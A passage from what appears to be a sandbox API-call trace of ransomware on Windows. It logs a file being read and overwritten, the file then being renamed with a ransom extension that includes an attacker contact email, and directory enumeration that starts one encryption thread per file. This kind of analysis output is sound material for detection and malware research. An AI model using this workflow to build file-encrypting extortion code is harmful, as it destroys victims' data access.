Seed=0x4cdf8cc) returned 0x140508e6 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x14c26bdd [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x37c6d4d3 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x25b3f8be [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x533d1cd5 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x3697e08 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x6d4cfccb [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x46dd526a [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0xefcef87 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x6b4e91c2 [0060.552] RtlRandomEx (in: Seed=0x4cdf8cc | out: Seed=0x4cdf8cc) returned 0x53203cbf [0060.564] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.564] ReadFile (in: hFile=0x950, lpBuffer=0x1995a0e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x4cdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x1995a0e8*, lpNumberOfBytesRead=0x4cdf8a0*=0xc800, lpOverlapped=0x0) returned 1 [0060.565] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c7e0 [0060.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a858 [0060.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435df0) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x199668f0 [0060.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0060.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f08 [0060.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435f08) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0060.570] WriteFile (in: hFile=0x950, lpBuffer=0x199668f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x4cdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x199668f0*, lpNumberOfBytesWritten=0x4cdf8a0*=0xc800, lpOverlapped=0x0) returned 1 [0062.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199668f0) returned 1 [0063.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1995a0e8) returned 1 [0063.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c798 [0063.226] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.226] WriteFile (in: hFile=0x950, lpBuffer=0x41be58*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x4cdf920, lpOverlapped=0x0 | out: lpBuffer=0x41be58*, lpNumberOfBytesWritten=0x4cdf920*=0x11d, lpOverlapped=0x0) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c630) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435e40) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c798) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435df0) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435e90) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435f30) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435f58) returned 1 [0063.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.239] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3" [0063.240] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0063.240] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4cdf8d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.240] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4380 [0063.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.241] NtQueryInformationFile (in: FileHandle=0x950, IoStatusBlock=0x4cdf8e4, FileInformation=0x4cdf8bc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4cdf8e4, FileInformation=0x4cdf8bc) returned 0x0 [0063.241] NtSetInformationFile (FileHandle=0x950, IoStatusBlock=0x4cdf8e4, FileInformation=0x4cdf8bc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.242] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.242] FlushFileBuffers (hFile=0x950) returned 1 [0066.215] CloseHandle (hObject=0x950) Thread: id = 466 os_tid = 0xe38 [0049.223] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x424008 [0049.223] wcscpy (in: _Dest=0x424008, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0049.224] wcscat (in: _Dest=0x424008, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0049.224] wcscat (in: _Dest=0x424008, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*" [0049.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430138 [0049.224] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440120 [0051.210] wcscmp (_String1=".", _String2=".") returned 0 [0051.210] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.210] wcscmp (_String1="..", _String2=".") returned 1 [0051.210] wcscmp (_String1="..", _String2="..") returned 0 [0051.210] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0051.210] wcscmp (_String1="as80.xsl", _String2=".") returned 1 [0051.210] wcscmp (_String1="as80.xsl", _String2="..") returned 1 [0051.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442c50 [0051.210] wcscpy (in: _Dest=0x442c50, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0051.210] wcscat (in: _Dest=0x442c50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0051.210] wcscat (in: _Dest=0x442c50, _Source="as80.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0063.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0063.864] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0063.864] wcscmp (_String1="as90.xsl", _String2=".") returned 1 [0063.864] wcscmp (_String1="as90.xsl", _String2="..") returned 1 [0063.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442990 [0063.864] wcscpy (in: _Dest=0x442990, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.864] wcscat (in: _Dest=0x442990, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.864] wcscat (in: _Dest=0x442990, _Source="as90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0063.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0063.865] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0063.865] wcscmp (_String1="Informix.xsl", _String2=".") returned 1 [0063.865] wcscmp (_String1="Informix.xsl", _String2="..") returned 1 [0063.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45ced0 [0063.865] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.865] wcscat (in: _Dest=0x45ced0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.865] wcscat (in: _Dest=0x45ced0, _Source="Informix.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0063.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ced0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0063.867] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0063.867] wcscmp (_String1="msjet.xsl", _String2=".") returned 1 [0063.867] wcscmp (_String1="msjet.xsl", _String2="..") returned 1 [0063.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442a40 [0063.867] wcscpy (in: _Dest=0x442a40, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.867] wcscat (in: _Dest=0x442a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.867] wcscat (in: _Dest=0x442a40, _Source="msjet.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0063.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0063.868] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0063.868] wcscmp (_String1="sql2000.xsl", _String2=".") returned 1 [0063.868] wcscmp (_String1="sql2000.xsl", _String2="..") returned 1 [0063.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c578 [0063.868] wcscpy (in: _Dest=0x45c578, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.869] wcscat (in: _Dest=0x45c578, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.869] wcscat (in: _Dest=0x45c578, _Source="sql2000.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0063.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0063.870] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0063.870] wcscmp (_String1="sql70.xsl", _String2=".") returned 1 [0063.870] wcscmp (_String1="sql70.xsl", _String2="..") returned 1 [0063.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442d00 [0063.870] wcscpy (in: _Dest=0x442d00, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.870] wcscat (in: _Dest=0x442d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.870] wcscat (in: _Dest=0x442d00, _Source="sql70.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0063.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248 [0063.871] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0063.871] wcscmp (_String1="sql90.xsl", _String2=".") returned 1 [0063.871] wcscmp (_String1="sql90.xsl", _String2="..") returned 1 [0063.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442db0 [0063.871] wcscpy (in: _Dest=0x442db0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.871] wcscat (in: _Dest=0x442db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.871] wcscat (in: _Dest=0x442db0, _Source="sql90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0063.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0063.872] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0063.872] wcscmp (_String1="Sybase.xsl", _String2=".") returned 1 [0063.872] wcscmp (_String1="Sybase.xsl", _String2="..") returned 1 [0063.872] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c630 [0063.872] wcscpy (in: _Dest=0x45c630, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0063.872] wcscat (in: _Dest=0x45c630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0063.872] wcscat (in: _Dest=0x45c630, _Source="Sybase.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0063.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244 [0063.873] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0063.873] FindClose (in: hFindFile=0x440120 | out: hFindFile=0x440120) returned 1 [0063.874] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430138) returned 1 [0063.874] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424008) returned 1 [0063.874] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446480) returned 1 Thread: id = 467 os_tid = 0xe3c [0049.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4240a8 [0049.225] wcscpy (in: _Dest=0x4240a8, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0049.225] wcscat (in: _Dest=0x4240a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0049.225] wcscat (in: _Dest=0x4240a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*" [0049.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430d40 [0049.225] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440260 [0051.190] wcscmp (_String1=".", _String2=".") returned 0 [0051.190] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.190] wcscmp (_String1="..", _String2=".") returned 1 